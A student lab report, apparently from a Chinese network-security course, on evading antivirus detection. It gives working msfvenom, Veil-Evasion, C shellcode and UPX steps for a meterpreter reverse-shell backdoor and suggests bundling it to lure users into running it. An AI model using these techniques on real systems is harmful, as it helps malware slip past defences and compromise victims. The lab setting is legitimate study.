20154327 Exp3 免杀原理与实践
实践内容
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 杀毒软件主要靠特征码进行查杀,匹配到即为病毒。
- 还有通过云查杀,查看云端库中该文件是否属于恶意代码。
- 跟踪该程序运行起来是否存在恶意行为,来判断是否属于恶意代码。
(2)免杀是做什么?
- 免杀就是让杀毒软件查杀不出来有问题的程序,大部分是用来做坏事的。
(3)免杀的基本方法有哪些?
- 通过改变特征码来躲避杀毒软件的匹配。
- 自己手动编写一个恶意代码,因为杀毒软件查的共性,而不是个性。
- 改变行为,减少敏感行为的使用等。
实践总结与体会
- 这次的实验让我们可以绕过恶意代码的最大天敌——杀毒软件,之前我们所编写的恶意代码就像一个通缉犯,被所有警察所知悉,而同感免杀之后的恶意代码就像是去了泰国变性韩国整容一般,可以瞒天过海,继续潇洒。
离实战还缺些什么技术或步骤?
- 我们的靶机不会那么傻乎乎的去接收我们的文件,那么我们就可以利用捆绑等方式诱导用户去接收并运行我们的恶意代码。
实践过程
环境准备
- win10的IP地址:172.30.6.204
- kali的IP地址:172.30.1.193
- 这里使用上次实验中用到的后门程序进行免杀实验
- 上期实验博客
- 本次实验需要用到Veil-Evasion,安装指令:sudo apt-get install veil-evasion
- 没有安装成功的小伙伴,可以尝试 克隆安装,依次输入:
sudo apt-get -y install git //安装git
git clone https://github.com/Veil-Framework/Veil-Evasion.git //git命令行下载Veil Evasion
mv Veil-Evasion /opt //把它移动到opt目录下(可选)
cd /opt/Veil-Evasion/ //进入Veil Evasion所在目录
bash setup/setup.sh -s //启动setup脚本开始安装
msfvenom
kali端下使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f exe > 4327.exe命令生成后门程序(即上次实验所用到的后门程序)。
上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。
- 小提示:这里文件名为20154327形式的无法上传,网站提示含有广告关键词。
- 小提示:这里文件名为20154327形式的无法上传,网站提示含有广告关键词。
从图中可以看出有18/39的杀毒软件发现有病毒.
*这里我们直接利用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.30.1.193 LPORT=4327 -f exe > 4327miansha.exe将文件编码10次
再去检测一下:
结果还是有18/39的杀毒软件发现有病毒,看来一味的利用编码次数来达到免杀还是不行的。
Veil-Evasion
- 这里需要用到veil-evasion,没有的小伙伴可以参考环境准备里的步骤。
- 在kali中输入指令veil-evasion打开软件,依次输入
use python/meterpreter/rev_tcp //设置payload
set LHOST 172.30.1.193 //设置为kali的IP
set lport 4327 //设置端口为4327
generate //生成
4327yzh //程序名
1
如图所示:
然后在kali上的/var/lib/veil-evasion/output/compiled/文件夹里找到刚生成的,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。
从图中可以看出有9/39的杀毒软件发现有病毒,比刚刚18个报毒直接减少一半,可喜可贺,但还不够,下面我们继续。
使用C语言调用Shellcode
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f c ,这里使用kali的ip生成一个c语言格式的shellcode数组。
利用自己的数组,再添加一个主函数。
在win下使用vs编译该c语言,得到exe文件,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。
8/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。
在kali下进入MSF打开监听进程,实现方法参考上期实验博客
靶机上尝试运行,后门程序成功获取权限。
- 靶机环境:win10家庭版,火绒20180405
加壳尝试
upx直接加壳
利用upx对上节课生成的后门文件直接加壳。
直接对msf生成的文件使用upx加壳,还是有14/39的杀毒软件发现有病毒,比刚刚18查出略有改善,下面试试利用Veil-Evasio+UPX加壳。
Veil-Evasio+UPX加壳
将上面通过Veil-Evasio免杀过的文件加上upx壳尝试。
4/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。
20154327 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- Kubernetes pod里一个特殊的容器:pause-amd64
大家在使用Docker容器或者Kubernetes时,遇到过这个容器么?gcr.io/google_containers/pause-amd64 docker ps的命令返回的结果: [root@k8 ...
- mongodb在windows平台安装和启动
mongodb 官网:https://www.mongodb.com mongodb 官网下载: mongodb-win32-x86_64-2008plus-ssl-3.4.2-signed.msi ...
- Hibernate关于父类子类的映射
怕忘记,把栗子贴上来 以Person类和Student类为例 public class Person { private Integer id; private String name; privat ...
- CPU与GPU区别大揭秘
http://blog.csdn.net/xiaolang85/article/details/51500340 有网友在网上提问:“为什么现在更多需要用的是 GPU 而不是 CPU,比如挖矿甚至破解 ...
- BZOJ2882:工艺(SAM)
Description 小敏和小燕是一对好朋友. 他们正在玩一种神奇的游戏,叫Minecraft. 他们现在要做一个由方块构成的长条工艺品.但是方块现在是乱的,而且由于机器的要求,他们只能做到把这个工 ...
- SpringBoot学习(三)IDEA
一.什么是JPA JPA(Java Persistence API)定义了一系列对象持久化的标准,目前实现这一规范的产品有Hibernate.TopLink等. 二.Mysql数据库示例 1.在app ...
- java中数据类型的范围
前言:最近:本菜鸡在准备pat,可以每次遇到数据类型的时候都得去查找范围,因此本着学习的目的,来总结一下java中的数据类型. 因此我用mindManager做了一个思维图
- openmax component类的继承关系
向OpenCORE里继承一个新的codec时,需要用到OpenMAX接口规范对该codec进行封装,即要定义一个用于封装的类(wrapper),实现OpenMAX规定的集中核心方法(omx core ...
- 安全清理Xcode 缓存垃圾
安全清理Xcode缓存垃圾方法: 经验证,Xcode缓存垃圾存储在~/Library/Developer/Xcode/DerivedData/路径下,缓存和Xcode的版本有关(如同一台Mac安装2个 ...
- 【Javascript-ECMA6-Fetch详解】
Fetch 由于Fetch API是基于Promise设计,因此旧的浏览器并不支持该API,需要引用时引用es6-promise. 基本知识 fetch请求返回response格式 body Fetc ...